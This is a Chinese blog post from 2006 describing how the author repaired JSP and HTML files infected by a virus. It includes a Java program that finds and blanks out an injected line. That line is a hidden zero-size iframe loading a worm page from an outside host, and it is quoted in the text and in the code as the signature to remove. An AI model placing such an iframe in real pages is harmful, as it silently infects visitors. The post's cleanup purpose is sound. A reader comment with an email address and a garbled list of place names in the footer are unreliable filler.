小魚的空氣

          記錄我所思

          修復(fù)被病毒修改的網(wǎng)頁

          ???? 前幾天機(jī)器中毒,開始時(shí)只是IE彈彈窗口,后來嚴(yán)重到不可以忍受以至重裝,今天打開一些J以前備份下來的JSP文件看看,每個(gè)文件最后都加上了一行:"<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>",這樣打開這些網(wǎng)頁就可能中招,再看看HTML文件也同樣遭此毒手。

          ???????于是便開始用Java寫個(gè)小程序來修復(fù)這些文件,要高效率地修復(fù)這些文件,看來只能使用RandomAccessFile,因?yàn)槠渌腎O流都是順序讀寫的,而RandomAccessFile可以跳到指定的位置。方法很簡單,計(jì)算一下這行垃圾的起始位置,然后用空格替換之。沒什么好說的,值得注意的是寫空格時(shí),只有用randomAccessFile.writeBytes(" ")才行,其它的寫方法會(huì)寫入亂碼,待探究。
          ???????
          ?????? 下面將代碼貼上,以備忘。

          package?hy;

          import?java.io.File;
          import?java.io.FileNotFoundException;
          import?java.io.FilenameFilter;
          import?java.io.RandomAccessFile;

          public?class?RepairPage?{

          ????
          private?static?int?num;
          ????
          private?String?worm?=?"<iframe?src=http://www.krvkr.com/worm.htm?width=0?height=0></iframe>";


          ????
          public?void?repair(File?page){
          ????????
          //System.out.println("Try?File:"+page.getPath());
          ????????try?{
          ????????????RandomAccessFile?r?
          =?new?RandomAccessFile(page,"rw");
          ????????????
          if(r.length()<70)
          ????????????????
          return;
          ????????????r.seek(r.length()?
          -?70);//跳到最后一行
          ????????????String?shit?=?r.readLine();
          ????????????
          if(shit.equals(worm)){
          ????????????????
          //System.out.println("shit?content:"+shit);
          ????????????????System.out.println("修復(fù)損壞文件:"+page.getPath());
          ????????????????r.seek(r.length()?
          -?70);
          ????????????????
          for?(int?i?=?0;?i?<?worm.length();?i++)?{
          ????????????????????r.writeBytes(
          "?");
          ????????????????}

          ????????????????num?
          ++;
          ????????????}

          ????????}
          ?catch?(Exception?e)?{
          ????????????e.printStackTrace();
          ????????}

          ????}


          ????
          public?void?doDir(File?dir)?{
          ????????
          if?(dir.canRead())?{
          ????????????
          if?(dir.isDirectory())?{
          ????????????????String[]?files?
          =?dir.list();
          ????????????????
          if?(files?!=?null)?{
          ????????????????????
          for?(int?i?=?0;?i?<?files.length;?i++)?{
          ????????????????????????doDir(
          new?File(dir,?files[i]));//?遞歸
          ????????????????????}

          ????????????????}

          ????????????}
          ?else?{//?is?File
          ????????????????String?name?=?dir.getName();
          ????????????????
          if?(name.endsWith("jsp")?||?name.endsWith("html")?||?name.endsWith("htm"))
          ????????????????????repair(dir);
          ????????????}

          ????????}

          ????}


          ????
          public?static?void?main(String[]?args)?{

          ????????File?dir?
          =?new?File("c:\\pages");
          ????????RepairPage?repair?
          =?new?RepairPage();
          ????????repair.doDir(dir);
          ????????System.out.println(
          "修復(fù)成功完成,修復(fù)文件數(shù):"+repair.num);
          ????}


          }

          posted on 2006-12-20 19:23 小魚 閱讀(346) 評(píng)論(1)  編輯  收藏

          評(píng)論

          # re: 修復(fù)被病毒修改的網(wǎng)頁 2007-12-24 23:25 崩潰邊緣

          你好 我也被類似的病毒感染了

          硬盤里有7000多個(gè)html和htm文件被感染!

          不懂java,有朋友剛學(xué).

          能否幫助一下?

          我的郵箱 369308529@qq.com

            回復(fù)  更多評(píng)論   


          只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。


          網(wǎng)站導(dǎo)航:
           
          <2007年12月>
          2526272829301
          2345678
          9101112131415
          16171819202122
          23242526272829
          303112345

          導(dǎo)航

          統(tǒng)計(jì)

          常用鏈接

          留言簿(3)

          我參與的團(tuán)隊(duì)

          隨筆檔案

          文章檔案

          搜索

          最新評(píng)論

          主站蜘蛛池模板: 建水县| 美姑县| 肃北| 阿图什市| 河间市| 柳江县| 聊城市| 南投市| 屏南县| 永靖县| 扎鲁特旗| 定南县| 汝城县| 英德市| 天镇县| 嫩江县| 余江县| 瑞昌市| 密云县| 柏乡县| 丹凤县| 岑巩县| 古丈县| 乾安县| 怀来县| 裕民县| 鱼台县| 宁波市| 盐池县| 丰顺县| 兰西县| 惠水县| 那坡县| 大同县| 新安县| 民勤县| 崇礼县| 淮南市| 尤溪县| 台山市| 彭州市|